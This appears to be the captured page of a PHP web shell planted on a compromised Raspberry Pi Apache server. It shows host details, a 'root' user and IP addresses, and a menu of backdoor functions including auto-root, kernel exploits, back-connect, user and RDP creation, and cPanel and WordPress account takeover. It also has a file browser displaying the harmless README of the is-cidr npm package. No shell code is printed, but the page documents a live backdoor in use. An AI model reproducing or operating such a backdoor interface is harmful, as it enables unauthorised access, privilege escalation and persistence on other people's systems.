Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
is-cidr /
[ HOME SHELL ]
Name
Size
Permission
Action
example
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
node_modules
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
.travis.yml
326
B
-rw-r--r--
README.md
1.73
KB
-rw-r--r--
package.json
2.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# is-cidr Check if a string is a valid CIDR [](https://github.com/semantic-release/semantic-release) [](http://npm.im/is-cidr) [](http://opensource.org/licenses/MIT) [](https://travis-ci.org/flipjs/is-cidr) [](https://github.com/feross/standard) [](http://commitizen.github.io/cz-cli/) [](http://npm-stat.com/charts.html?package=is-cidr&from=2016-03-24) ## Install ```sh $ npm install --save is-cidr ``` ## Usage ```js import isCidr from 'is-cidr' // default is isCidrV4 import { isCidrV4, isCidrV6 } from 'is-cidr' // OR var isCidrV4 = require('is-cidr').isCidrV4 var isCidrV6 = require('is-cidr').isCidrV6 // is a CIDR v4 isCidr('18.101.25.153/24') // true // is not a CIDR v4 isCidrV4('999.999.999.999/12') // false // is a CIDR v6 isCidrV6('fe80:0000:0000:0000:0204:61ff:fe9d:f156') // true // is not a CIDR v6 isCidrV6('fe80:0000:0000:0000:0204:61ff:fe9d:f156/a') // false ``` ## API ### isCidr(string) Check if a string is CIDR IPv4. ### isCidrV4(string) Check if a string is CIDR IPv4. ### isCidrV6(string) Check if a string is CIDR IPv6. ## License MIT © [Felipe Apostol](https://github.com/flipjs)
Close